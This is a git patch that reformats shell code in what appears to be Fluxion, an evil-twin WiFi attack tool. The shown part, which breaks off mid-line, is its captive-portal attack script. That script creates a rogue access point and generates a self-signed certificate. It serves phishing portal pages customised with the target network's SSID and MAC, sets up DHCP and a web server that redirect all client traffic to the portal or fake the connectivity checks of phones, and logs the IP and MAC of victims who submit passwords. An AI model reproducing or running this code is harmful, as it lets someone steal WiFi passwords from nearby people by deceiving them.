From 26fec898e1145499c46dfd89b518fd1a18ff54eb Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 31 Dec 2017 17:02:12 +0100 Subject: [PATCH] Set styleguide and minor changes --- .github/PULL_REQUEST_TEMPLATE.md | 2 +- attacks/Captive Portal/attack.sh | 989 +++++++++++---------- attacks/Handshake Snooper/attack.sh | 375 ++++---- fluxion.sh | 1275 ++++++++++++++------------- lib/ArrayUtils.sh | 24 +- lib/FormatUtils.sh | 206 +++-- lib/HashUtils.sh | 99 ++- lib/IOUtils.sh | 174 ++-- lib/InterfaceUtils.sh | 263 +++--- lib/SandboxUtils.sh | 34 +- lib/ap/airbase-ng.sh | 38 +- lib/ap/hostapd.sh | 67 +- lib/installer/InstallerUtils.sh | 285 +++--- lib/installer/managers/apt.sh | 58 +- lib/installer/managers/emerge.sh | 22 +- lib/installer/managers/pacman.sh | 38 +- lib/installer/managers/yum.sh | 22 +- lib/installer/managers/zypp.sh | 22 +- scripts/debug.sh | 8 +- scripts/diagnostics.sh | 40 +- scripts/router.sh | 32 +- 21 files changed, 2075 insertions(+), 1998 deletions(-) diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index 89b76c5..4a0bfe3 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -10,4 +10,4 @@ **Does this PR introduce a breaking change?** -**Other information** \ No newline at end of file +**Other information** diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index 187b8e2..1f31b2f 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -7,7 +7,7 @@ CaptivePortalPassLog="$FLUXIONPath/attacks/Captive Portal/pwdlog" CaptivePortalNetLog="$FLUXIONPath/attacks/Captive Portal/netlog" CaptivePortalJamTime="9999999999999" -CaptivePortalAuthenticationMethods=("hash") # "wpa_supplicant") +CaptivePortalAuthenticationMethods=("hash") # "wpa_supplicant") CaptivePortalAuthenticationMethodsInfo=("(handshake file, ${CGrn}recommended$CClr)") # "(Target AP authentication, slow)") ########################### < Virtual Network Configuration > ########################## @@ -16,398 +16,428 @@ VIGWAddress="192.168.254.1" VIGWNetwork=${VIGWAddress%.*} function captive_portal_run_interface() { - if [ ! "$1" ]; then return 1; fi + if [ ! "$1" ]; then return 1; fi - # Create an identifier for the access point, AP virtual interface. - local wiAccessPoint="FX${1:2}AP" + # Create an identifier for the access point, AP virtual interface. + local wiAccessPoint="FX${1:2}AP" - # Find interface's physical device. - if ! interface_physical "$1" - then echo -e "$FLUXIONVLine $FLUXIONPhysicalWIDeviceUnknownError"; sleep 5; return 1 - fi + # Find interface's physical device. + if ! interface_physical "$1"; then + echo -e "$FLUXIONVLine $FLUXIONPhysicalWIDeviceUnknownError" + sleep 5 + return 1 + fi - local wiAccessPointDevice="$InterfacePhysical" + local wiAccessPointDevice="$InterfacePhysical" - # Create the new virtual interface with the generated identifier. - echo -e "$FLUXIONVLine $CaptivePortalStartingInterfaceNotice" - if ! iw phy $wiAccessPointDevice interface add $wiAccessPoint type monitor 2> $FLUXIONOutputDevice; then - echo -e "$FLUXIONVLine $CaptivePortalCannotStartInterfaceError" - sleep 5 - return 3 - fi + # Create the new virtual interface with the generated identifier. + echo -e "$FLUXIONVLine $CaptivePortalStartingInterfaceNotice" + if ! iw phy $wiAccessPointDevice interface add $wiAccessPoint type monitor 2>$FLUXIONOutputDevice; then + echo -e "$FLUXIONVLine $CaptivePortalCannotStartInterfaceError" + sleep 5 + return 3 + fi - echo -e "$FLUXIONVLine $CaptivePortalStartedInterfaceNotice" - sleep 3 + echo -e "$FLUXIONVLine $CaptivePortalStartedInterfaceNotice" + sleep 3 - CaptivePortalRunInterface="$wiAccessPoint" + CaptivePortalRunInterface="$wiAccessPoint" } function captive_portal_unset_interface() { - if [ ! "$WIAccessPoint" ]; then return 1; fi + if [ ! "$WIAccessPoint" ]; then return 1; fi - if interface_is_wireless "$WIAccessPoint" - then fluxion_unset_ap_service - fi + if interface_is_wireless "$WIAccessPoint"; then fluxion_unset_ap_service + fi - if [ "$WIAccessPoint" = "FX${WIMonitor:2}AP" ]; then - # Remove any previously created fluxion AP interfaces. - iw dev "$WIAccessPoint" del &> $FLUXIONOutputDevice - fi + if [ "$WIAccessPoint" = "FX${WIMonitor:2}AP" ]; then + # Remove any previously created fluxion AP interfaces. + iw dev "$WIAccessPoint" del &>$FLUXIONOutputDevice + fi - WIAccessPoint="" + WIAccessPoint="" } function captive_portal_set_interface() { - if [ "$WIAccessPoint" ]; then return 0; fi + if [ "$WIAccessPoint" ]; then return 0; fi - captive_portal_unset_interface + captive_portal_unset_interface - # Gather candidate interfaces. - echo -e "$FLUXIONVLine $FLUXIONFindingWINotice" + # Gather candidate interfaces. + echo -e "$FLUXIONVLine $FLUXIONFindingWINotice" - # List of all valid network interfaces. - interface_list_real + # List of all valid network interfaces. + interface_list_real - local ifAlternate=("$FLUXIONGeneralRepeatOption" "$FLUXIONGeneralBackOption") - local ifAlternateInfo=("" "") - local ifAlternateState=("" "") - local ifAlternateColor=("$CClr" "$CClr") + local ifAlternate=("$FLUXIONGeneralRepeatOption" "$FLUXIONGeneralBackOption") + local ifAlternateInfo=("" "") + local ifAlternateState=("" "") + local ifAlternateColor=("$CClr" "$CClr") - interface_prompt "$FLUXIONVLine $CaptivePortalInterfaceQuery" InterfaceListReal[@] \ - ifAlternate[@] ifAlternateInfo[@] ifAlternateState[@] ifAlternateColor[@] + interface_prompt "$FLUXIONVLine $CaptivePortalInterfaceQuery" InterfaceListReal[@] \ + ifAlternate[@] ifAlternateInfo[@] ifAlternateState[@] ifAlternateColor[@] - case "$InterfacePromptIfSelected" in - "$FLUXIONGeneralBackOption") captive_portal_unset_interface; return 1;; + case "$InterfacePromptIfSelected" in + "$FLUXIONGeneralBackOption") + captive_portal_unset_interface + return 1 + ;; - # If the monitor interface is also the AP interface, - # there's no need to reserve it again, just add it. - "$WIMonitor") - if ! captive_portal_run_interface "$InterfacePromptIfSelected" - then return 1 - fi + # If the monitor interface is also the AP interface, + # there's no need to reserve it again, just add it. + "$WIMonitor") + if ! captive_portal_run_interface "$InterfacePromptIfSelected"; then return 1 + fi - WIAccessPoint="$CaptivePortalRunInterface";; - *) - # We'll only attempt to run wireless interfaces for now. - # The conditional below is a temporary fix for ethernet interfaces. - # TODO: Fix fluxion_run_interface to accept non-wireless interfaces. - if interface_is_wireless "$InterfacePromptIfSelected"; then - if ! fluxion_run_interface "$InterfacePromptIfSelected" - then return 2 - fi + WIAccessPoint="$CaptivePortalRunInterface" + ;; + *) + # We'll only attempt to run wireless interfaces for now. + # The conditional below is a temporary fix for ethernet interfaces. + # TODO: Fix fluxion_run_interface to accept non-wireless interfaces. + if interface_is_wireless "$InterfacePromptIfSelected"; then + if ! fluxion_run_interface "$InterfacePromptIfSelected"; then return 2 + fi - WIAccessPoint="$FluxionRunInterface" - else - WIAccessPoint="$InterfacePromptIfSelected" - fi;; - esac + WIAccessPoint="$FluxionRunInterface" + else + WIAccessPoint="$InterfacePromptIfSelected" + fi + ;; + esac - VIGW=$WIAccessPoint - VIAP=$WIAccessPoint + VIGW=$WIAccessPoint + VIAP=$WIAccessPoint - # Set an AP service if the interface selected is wireless. - if interface_is_wireless "$WIAccessPoint"; then - if ! fluxion_set_ap_service - then captive_portal_unset_interface; return 1 - fi - fi + # Set an AP service if the interface selected is wireless. + if interface_is_wireless "$WIAccessPoint"; then + if ! fluxion_set_ap_service; then + captive_portal_unset_interface + return 1 + fi + fi } function captive_portal_unset_auth() { - if [ ! "$APRogueAuthMode" ]; then return 0; fi + if [ ! "$APRogueAuthMode" ]; then return 0; fi - case "$APRogueAuthMode" in - "hash") fluxion_unset_hash;; - esac + case "$APRogueAuthMode" in + "hash") fluxion_unset_hash ;; + esac - APRogueAuthMode="" + APRogueAuthMode="" - # If we've only got one option, then the user skipped this section - # by auto-selecting that single option, so we unset the previous - # phase along with this one to properly take the user back. - if [ ${#CaptivePortalAuthenticationMethods[@]} -le 1 ]; then - captive_portal_unset_interface - fi + # If we've only got one option, then the user skipped this section + # by auto-selecting that single option, so we unset the previous + # phase along with this one to properly take the user back. + if [ ${#CaptivePortalAuthenticationMethods[@]} -le 1 ]; then + captive_portal_unset_interface + fi } function captive_portal_set_auth() { - if [ "$APRogueAuthMode" ]; then - echo "Captive Portal authentication mode is already set, skipping!" > $FLUXIONOutputDevice - return 0 - fi + if [ "$APRogueAuthMode" ]; then + echo "Captive Portal authentication mode is already set, skipping!" >$FLUXIONOutputDevice + return 0 + fi - captive_portal_unset_auth + captive_portal_unset_auth - # If we've got only one choice, auto-select it for the user. - if [ ${#CaptivePortalAuthenticationMethods[@]} -eq 1 -o \ - ${#CaptivePortalAuthenticationMethods[@]} -ge 1 -a "$FLUXIONAuto" ]; then - APRogueAuthMode="${CaptivePortalAuthenticationMethods[0]}" - echo "Auto-selected authentication method: $APRogueAuthMode" > $FLUXIONOutputDevice - else - fluxion_header + # If we've got only one choice, auto-select it for the user. + if [ ${#CaptivePortalAuthenticationMethods[@]} -eq 1 -o \ + ${#CaptivePortalAuthenticationMethods[@]} -ge 1 -a "$FLUXIONAuto" ]; then + APRogueAuthMode="${CaptivePortalAuthenticationMethods[0]}" + echo "Auto-selected authentication method: $APRogueAuthMode" >$FLUXIONOutputDevice + else + fluxion_header - echo -e "$FLUXIONVLine $CaptivePortalVerificationMethodQuery" - echo + echo -e "$FLUXIONVLine $CaptivePortalVerificationMethodQuery" + echo - fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" + fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" - local choices=("${CaptivePortalAuthenticationMethods[@]}" "$FLUXIONGeneralBackOption") - io_query_format_fields "" "\t$CRed[$CYel%d$CRed]$CClr %b %b\n" choices[@] \ - CaptivePortalAuthenticationMethodsInfo[@] + local choices=("${CaptivePortalAuthenticationMethods[@]}" "$FLUXIONGeneralBackOption") + io_query_format_fields "" "\t$CRed[$CYel%d$CRed]$CClr %b %b\n" choices[@] \ + CaptivePortalAuthenticationMethodsInfo[@] - echo + echo - APRogueAuthMode="${IOQueryFormatFields[0]}" + APRogueAuthMode="${IOQueryFormatFields[0]}" - # If we're going back, reset everything and abort. - if [[ "$APRogueAuthMode" = "$FLUXIONGeneralBackOption" ]] - then captive_portal_unset_auth; return 1 - fi - fi + # If we're going back, reset everything and abort. + if [[ "$APRogueAuthMode" == "$FLUXIONGeneralBackOption" ]]; then + captive_portal_unset_auth + return 1 + fi + fi - # Process the authentication method selected. - captive_portal_set_auth_processingResult=1 # Assume failure. - case "$APRogueAuthMode" in - "hash") fluxion_set_hash; captive_portal_set_auth_processingResult=$?;; - esac + # Process the authentication method selected. + captive_portal_set_auth_processingResult=1 # Assume failure. + case "$APRogueAuthMode" in + "hash") + fluxion_set_hash + captive_portal_set_auth_processingResult=$? + ;; + esac - # Assure authentication method processing was successful, abort otherwise. - if [[ $captive_portal_set_auth_processingResult -ne 0 ]] - then captive_portal_unset_auth; return 1; - fi + # Assure authentication method processing was successful, abort otherwise. + if [[ $captive_portal_set_auth_processingResult -ne 0 ]]; then + captive_portal_unset_auth + return 1 + fi } function captive_portal_run_certificate_generator() { - xterm -bg "#000000" -fg "#CCCCCC" -title "Generating Self-Signed SSL Certificate" -e openssl req -subj '/CN=captive.router.lan/O=CaptivePortal/OU=Networking/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout "$FLUXIONWorkspacePath/server.pem" -out "$FLUXIONWorkspacePath/server.pem" # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html - chmod 400 "$FLUXIONWorkspacePath/server.pem" + xterm -bg "#000000" -fg "#CCCCCC" -title "Generating Self-Signed SSL Certificate" -e openssl req -subj '/CN=captive.router.lan/O=CaptivePortal/OU=Networking/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout "$FLUXIONWorkspacePath/server.pem" -out "$FLUXIONWorkspacePath/server.pem" # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html + chmod 400 "$FLUXIONWorkspacePath/server.pem" } function captive_portal_unset_cert() { - sandbox_remove_workfile "$FLUXIONWorkspacePath/server.pem" - CaptivePortalSSL="" + sandbox_remove_workfile "$FLUXIONWorkspacePath/server.pem" + CaptivePortalSSL="" } # Create Self-Signed SSL Certificate function captive_portal_set_cert() { - if [ "$CaptivePortalSSL" ]; then - echo "Captive Portal SSL mode already set to $CaptivePortalSSL!" > $FLUXIONOutputDevice - return 0 - fi + if [ "$CaptivePortalSSL" ]; then + echo "Captive Portal SSL mode already set to $CaptivePortalSSL!" >$FLUXIONOutputDevice + return 0 + fi - captive_portal_unset_cert + captive_portal_unset_cert - # Check for existance of ssl certificate within fluxion with file size > 0 - # If a certificate exists, it's user supplied (fancy), copy it to fluxspace. - if [ -f "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" -a \ - -s "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" ]; then - cp "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \ - "$FLUXIONWorkspacePath/server.pem" + # Check for existance of ssl certificate within fluxion with file size > 0 + # If a certificate exists, it's user supplied (fancy), copy it to fluxspace. + if [ -f "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" -a \ + -s "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" ]; then + cp "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \ + "$FLUXIONWorkspacePath/server.pem" - CaptivePortalSSL="enabled" # Must be enabled if sourcing own certificate + CaptivePortalSSL="enabled" # Must be enabled if sourcing own certificate - echo "Captive Portal certificate was user supplied, skipping query!" > $FLUXIONOutputDevice - return 0; - fi + echo "Captive Portal certificate was user supplied, skipping query!" >$FLUXIONOutputDevice + return 0 + fi - if [ "$FLUXIONAuto" ]; then - # If cert generator fails, gtfo, something broke! - if ! captive_portal_run_certificate_generator - then fluxion_conditional_bail "cert-gen failed!"; return 2 - fi - CaptivePortalSSL="enabled" - else - local choices=("$CaptivePortalCertificateSourceGenerateOption" "$CaptivePortalCertificateSourceRescanOption" "$CaptivePortalCertificateSourceDisabledOption" "$FLUXIONGeneralBackOption") + if [ "$FLUXIONAuto" ]; then + # If cert generator fails, gtfo, something broke! + if ! captive_portal_run_certificate_generator; then + fluxion_conditional_bail "cert-gen failed!" + return 2 + fi + CaptivePortalSSL="enabled" + else + local choices=("$CaptivePortalCertificateSourceGenerateOption" "$CaptivePortalCertificateSourceRescanOption" "$CaptivePortalCertificateSourceDisabledOption" "$FLUXIONGeneralBackOption") - io_query_choice "$CaptivePortalCertificateSourceQuery" choices[@] + io_query_choice "$CaptivePortalCertificateSourceQuery" choices[@] - echo + echo - case "$IOQueryChoice" in - "$CaptivePortalCertificateSourceGenerateOption") - # If cert generator fails, gtfo, something broke! - if ! captive_portal_run_certificate_generator - then fluxion_conditional_bail "cert-gen failed!"; return 2 - fi - CaptivePortalSSL="enabled";; + case "$IOQueryChoice" in + "$CaptivePortalCertificateSourceGenerateOption") + # If cert generator fails, gtfo, something broke! + if ! captive_portal_run_certificate_generator; then + fluxion_conditional_bail "cert-gen failed!" + return 2 + fi + CaptivePortalSSL="enabled" + ;; - "$CaptivePortalCertificateSourceRescanOption") - captive_portal_set_cert; return $?;; + "$CaptivePortalCertificateSourceRescanOption") + captive_portal_set_cert + return $? + ;; - "$CaptivePortalCertificateSourceDisabledOption") - captive_portal_unset_cert; CaptivePortalSSL="disabled";; + "$CaptivePortalCertificateSourceDisabledOption") + captive_portal_unset_cert + CaptivePortalSSL="disabled" + ;; - "$FLUXIONGeneralBackOption") captive_portal_unset_cert; return 1;; - *) fluxion_conditional_bail "Unknown cert-gen option!"; return 2;; - esac - fi + "$FLUXIONGeneralBackOption") + captive_portal_unset_cert + return 1 + ;; + *) + fluxion_conditional_bail "Unknown cert-gen option!" + return 2 + ;; + esac + fi } function captive_portal_unset_conn() { - CaptivePortalConnectivity="" + CaptivePortalConnectivity="" } function captive_portal_set_conn() { - if [ "$CaptivePortalConnectivity" ]; then return 0; fi + if [ "$CaptivePortalConnectivity" ]; then return 0; fi - captive_portal_unset_conn + captive_portal_unset_conn - local choices=("$CaptivePortalConnectivityDisconnectedOption" "$CaptivePortalConnectivityEmulatedOption" "$FLUXIONGeneralBackOption") - io_query_choice "$CaptivePortalConnectivityQuery" choices[@] + local choices=("$CaptivePortalConnectivityDisconnectedOption" "$CaptivePortalConnectivityEmulatedOption" "$FLUXIONGeneralBackOption") + io_query_choice "$CaptivePortalConnectivityQuery" choices[@] - case "$IOQueryChoice" in - "$CaptivePortalConnectivityDisconnectedOption") CaptivePortalConnectivity="disconnected";; - "$CaptivePortalConnectivityEmulatedOption") CaptivePortalConnectivity="emulated";; - "$FLUXIONGeneralBackOption") captive_portal_unset_conn; return 1;; - *) fluxion_conditional_bail "Unknown connectivity option!"; return 2;; - esac + case "$IOQueryChoice" in + "$CaptivePortalConnectivityDisconnectedOption") CaptivePortalConnectivity="disconnected" ;; + "$CaptivePortalConnectivityEmulatedOption") CaptivePortalConnectivity="emulated" ;; + "$FLUXIONGeneralBackOption") + captive_portal_unset_conn + return 1 + ;; + *) + fluxion_conditional_bail "Unknown connectivity option!" + return 2 + ;; + esac } function captive_portal_unset_site() { - sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal" + sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal" } function captive_portal_set_site() { - if [ -d "$FLUXIONWorkspacePath/captive_portal" ]; then - echo "Captive Portal site (interface) is already set, skipping!" > $FLUXIONOutputDevice - return 0; - fi + if [ -d "$FLUXIONWorkspacePath/captive_portal" ]; then + echo "Captive Portal site (interface) is already set, skipping!" >$FLUXIONOutputDevice + return 0 + fi - captive_portal_unset_site + captive_portal_unset_site - local sites=() + local sites=() - # Attempt adding only if the directory exists. - if [ -d attacks/Captive\ Portal/generic/languages ]; then - # Retrieve all generic sites available. - for site in attacks/Captive\ Portal/generic/languages/*.lang; do - sites+=("${CaptivePortalGenericInterfaceOption}_`basename "${site%.lang}"`") - done - fi + # Attempt adding only if the directory exists. + if [ -d attacks/Captive\ Portal/generic/languages ]; then + # Retrieve all generic sites available. + for site in attacks/Captive\ Portal/generic/languages/*.lang; do + sites+=("${CaptivePortalGenericInterfaceOption}_$(basename "${site%.lang}")") + done + fi - # Attempt adding only if the directory exists. - if [ -d attacks/Captive\ Portal/sites ]; then - # Retrieve all available portal sites and - # store them without the .portal extension. - for site in attacks/Captive\ Portal/sites/*.portal; do - sites+=("`basename "${site%.portal}"`") - done - fi + # Attempt adding only if the directory exists. + if [ -d attacks/Captive\ Portal/sites ]; then + # Retrieve all available portal sites and + # store them without the .portal extension. + for site in attacks/Captive\ Portal/sites/*.portal; do + sites+=("$(basename "${site%.portal}")") + done + fi - local sitesIdentifier=("${sites[@]/_*/}" "$FLUXIONGeneralBackOption") - local sitesLanguage=("${sites[@]/*_/}") + local sitesIdentifier=("${sites[@]/_*/}" "$FLUXIONGeneralBackOption") + local sitesLanguage=("${sites[@]/*_/}") - format_center_dynamic "$CRed[$CYel%02d$CRed]$CClr %-44b $CBlu%10s$CClr" - local queryFieldOptionsFormat=$FormatCenterDynamic + format_center_dynamic "$CRed[$CYel%02d$CRed]$CClr %-44b $CBlu%10s$CClr" + local queryFieldOptionsFormat=$FormatCenterDynamic - fluxion_header + fluxion_header - echo -e "$FLUXIONVLine $CaptivePortalUIQuery" + echo -e "$FLUXIONVLine $CaptivePortalUIQuery" - echo + echo - fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" + fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" - io_query_format_fields "" "$queryFieldOptionsFormat\n" \ - sitesIdentifier[@] sitesLanguage[@] + io_query_format_fields "" "$queryFieldOptionsFormat\n" \ + sitesIdentifier[@] sitesLanguage[@] - echo + echo - local site="${IOQueryFormatFields[0]}" - local siteLanguage="${IOQueryFormatFields[1]}" - local sitePath="${site}_${siteLanguage}" + local site="${IOQueryFormatFields[0]}" + local siteLanguage="${IOQueryFormatFields[1]}" + local sitePath="${site}_${siteLanguage}" - case "$site" in - "$CaptivePortalGenericInterfaceOption") - source "$FLUXIONPath/attacks/Captive Portal/generic/languages/$siteLanguage.lang" - captive_portal_generic;; - "$FLUXIONGeneralBackOption") - captive_portal_unset_site - return 1;; - * ) - cp -r "$FLUXIONPath/attacks/Captive Portal/sites/$sitePath.portal" \ - "$FLUXIONWorkspacePath/captive_portal" + case "$site" in + "$CaptivePortalGenericInterfaceOption") + source "$FLUXIONPath/attacks/Captive Portal/generic/languages/$siteLanguage.lang" + captive_portal_generic + ;; + "$FLUXIONGeneralBackOption") + captive_portal_unset_site + return 1 + ;; + *) + cp -r "$FLUXIONPath/attacks/Captive Portal/sites/$sitePath.portal" \ + "$FLUXIONWorkspacePath/captive_portal" - find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec sed -i -e 's/$APTargetSSID/'"${APTargetSSID//\//\\\/}"'/g; s/$APTargetMAC/'"${APTargetMAC//\//\\\/}"'/g; s/$APTargetChannel/'"${APTargetChannel//\//\\\/}"'/g' {} \;;; - esac + find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec sed -i -e 's/$APTargetSSID/'"${APTargetSSID//\//\\\/}"'/g; s/$APTargetMAC/'"${APTargetMAC//\//\\\/}"'/g; s/$APTargetChannel/'"${APTargetChannel//\//\\\/}"'/g' {} \; + ;; + esac } function captive_portal_unset_attack() { - sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" - sandbox_remove_workfile "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" - sandbox_remove_workfile "$FLUXIONWorkspacePath/lighttpd.conf" - sandbox_remove_workfile "$FLUXIONWorkspacePath/dhcpd.leases" - sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal/check.php" - sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal" + sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + sandbox_remove_workfile "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" + sandbox_remove_workfile "$FLUXIONWorkspacePath/lighttpd.conf" + sandbox_remove_workfile "$FLUXIONWorkspacePath/dhcpd.leases" + sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal/check.php" + sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal" - # Only reset the AP if one has been defined. - if [ "$APRogueService" -a "`type -t ap_reset`" ] - then ap_reset - fi + # Only reset the AP if one has been defined. + if [ "$APRogueService" -a "$(type -t ap_reset)" ]; then ap_reset + fi } function captive_portal_get_client_IP() { - if [ -f "$CaptivePortalPassLog/$APTargetSSIDClean-$APTargetMAC-IP.log" ]; then - MatchedClientIP=$(cat "$CaptivePortalPassLog/$APTargetSSIDClean-$APTargetMAC-IP.log" | sed '/^\s*$/d' | tail -n 1 | head -n 1) - else - MatchedClientIP="unknown" - fi + if [ -f "$CaptivePortalPassLog/$APTargetSSIDClean-$APTargetMAC-IP.log" ]; then + MatchedClientIP=$(cat "$CaptivePortalPassLog/$APTargetSSIDClean-$APTargetMAC-IP.log" | sed '/^\s*$/d' | tail -n 1 | head -n 1) + else + MatchedClientIP="unknown" + fi - echo $MatchedClientIP + echo $MatchedClientIP } function captive_portal_get_IP_MAC() { - if [ -f "$CaptivePortalPassLog/$APTargetSSIDClean-$APTargetMAC-IP.log" ] && [ "$(captive_portal_get_client_IP)" != "" ] && [ -f "$FLUXIONWorkspacePath/clients.txt" ]; then - IP=$(captive_portal_get_client_IP) - MatchedClientMAC=$(cat $FLUXIONWorkspacePath/clients.txt | grep $IP | awk '{print $5}' | grep : | head -n 1 | tr [:upper:] [:lower:]) - if [ "$(echo $MatchedClientMAC | wc -m)" != "18" ]; then - MatchedClientMAC="xx:xx:xx:xx:xx:xx" - fi - else - MatchedClientMAC="unknown" - fi - echo $MatchedClientMAC + if [ -f "$CaptivePortalPassLog/$APTargetSSIDClean-$APTargetMAC-IP.log" ] && [ "$(captive_portal_get_client_IP)" != "" ] && [ -f "$FLUXIONWorkspacePath/clients.txt" ]; then + IP=$(captive_portal_get_client_IP) + MatchedClientMAC=$(cat $FLUXIONWorkspacePath/clients.txt | grep $IP | awk '{print $5}' | grep : | head -n 1 | tr [:upper:] [:lower:]) + if [ "$(echo $MatchedClientMAC | wc -m)" != "18" ]; then + MatchedClientMAC="xx:xx:xx:xx:xx:xx" + fi + else + MatchedClientMAC="unknown" + fi + echo $MatchedClientMAC } function captive_portal_get_MAC_brand() { - local MACManufacturer="" - if [ $(captive_portal_get_IP_MAC) != "" ]; then - MACManufacturer=$(macchanger -l | grep "$(echo "$(captive_portal_get_IP_MAC)" | cut -d ":" -f -3)" | cut -d " " -f 5-) - if echo "$MACManufacturer" | grep -q x; then - MACManufacturer="unknown" - fi - else - MACManufacturer="unknown" - fi + local MACManufacturer="" + if [ $(captive_portal_get_IP_MAC) != "" ]; then + MACManufacturer=$(macchanger -l | grep "$(echo "$(captive_portal_get_IP_MAC)" | cut -d ":" -f -3)" | cut -d " " -f 5-) + if echo "$MACManufacturer" | grep -q x; then + MACManufacturer="unknown" + fi + else + MACManufacturer="unknown" + fi - echo $MACManufacturer + echo $MACManufacturer } # Create different settings required for the script function captive_portal_set_attack() { - # AP Service: Prepare service for an attack. - if [ "$APRogueService" ] - then ap_prep - fi + # AP Service: Prepare service for an attack. + if [ "$APRogueService" ]; then ap_prep + fi - # Add the PHP authenticator scripts, used to verify - # password attempts from users using the web interface. - local authenticatorFiles=("authenticator.php" "check.php" "update.php") + # Add the PHP authenticator scripts, used to verify + # password attempts from users using the web interface. + local authenticatorFiles=("authenticator.php" "check.php" "update.php") - for authenticatorFile in "${authenticatorFiles[@]}"; do - cp "$FLUXIONPath/attacks/Captive Portal/lib/$authenticatorFile" \ - "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" - sed -i -e 's/\$FLUXIONWorkspacePath/'"${FLUXIONWorkspacePath//\//\\\/}"'/g' \ - "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" - chmod u+x "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" - done + for authenticatorFile in "${authenticatorFiles[@]}"; do + cp "$FLUXIONPath/attacks/Captive Portal/lib/$authenticatorFile" \ + "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" + sed -i -e 's/\$FLUXIONWorkspacePath/'"${FLUXIONWorkspacePath//\//\\\/}"'/g' \ + "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" + chmod u+x "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" + done - # Add the files for captive portal internet connectivity checks. - cp -r "$FLUXIONPath/attacks/Captive Portal/lib/connectivity responses/" \ - "$FLUXIONWorkspacePath/captive_portal/connectivity_responses" + # Add the files for captive portal internet connectivity checks. + cp -r "$FLUXIONPath/attacks/Captive Portal/lib/connectivity responses/" \ + "$FLUXIONWorkspacePath/captive_portal/connectivity_responses" - # Generate the dhcpd configuration file, which is - # used to provide DHCP service to APRogue clients. - echo "\ + # Generate the dhcpd configuration file, which is + # used to provide DHCP service to APRogue clients. + echo "\ authoritative; default-lease-time 600; @@ -421,13 +451,13 @@ subnet $VIGWNetwork.0 netmask 255.255.255.0 { range $VIGWNetwork.100 $VIGWNetwork.254; }\ -" > "$FLUXIONWorkspacePath/dhcpd.conf" +" >"$FLUXIONWorkspacePath/dhcpd.conf" - #create an empty leases file - touch "$FLUXIONWorkspacePath/dhcpd.leases" + #create an empty leases file + touch "$FLUXIONWorkspacePath/dhcpd.leases" - # Generate configuration for a lighttpd web-server. - echo "\ + # Generate configuration for a lighttpd web-server. + echo "\ server.document-root = \"$FLUXIONWorkspacePath/captive_portal/\" server.modules = ( @@ -480,20 +510,20 @@ index-file.names = ( \"index.html\", \"index.php\" ) -" > "$FLUXIONWorkspacePath/lighttpd.conf" +" >"$FLUXIONWorkspacePath/lighttpd.conf" - # Configure lighttpd's SSL only if we've got a certificate and its key. - if [ -f "$FLUXIONWorkspacePath/server.pem" -a -s "$FLUXIONWorkspacePath/server.pem" ]; then - echo "\ + # Configure lighttpd's SSL only if we've got a certificate and its key. + if [ -f "$FLUXIONWorkspacePath/server.pem" -a -s "$FLUXIONWorkspacePath/server.pem" ]; then + echo "\ \$SERVER[\"socket\"] == \":443\" { ssl.engine = \"enable\" ssl.pemfile = \"$FLUXIONWorkspacePath/server.pem\" } -" >> "$FLUXIONWorkspacePath/lighttpd.conf" - fi +" >>"$FLUXIONWorkspacePath/lighttpd.conf" + fi - if [ "$CaptivePortalConnectivity" = "emulated" ]; then - echo "\ + if [ "$CaptivePortalConnectivity" = "emulated" ]; then + echo "\ # The following will emulate Apple's and Google's internet connectivity checks. # This should help with no-internet-connection warnings in some devices. \$HTTP[\"host\"] == \"captive.apple.com\" { # Respond with Apple's captive response. @@ -506,9 +536,9 @@ index-file.names = ( server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\" url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" ) } -" >> "$FLUXIONWorkspacePath/lighttpd.conf" - else - echo "\ +" >>"$FLUXIONWorkspacePath/lighttpd.conf" + else + echo "\ # Redirect all traffic to the captive portal when not emulating a connection. \$HTTP[\"host\"] != \"captive.gateway.lan\" { url.redirect-code = 302 @@ -516,11 +546,11 @@ index-file.names = ( \"^/(.*)\" => 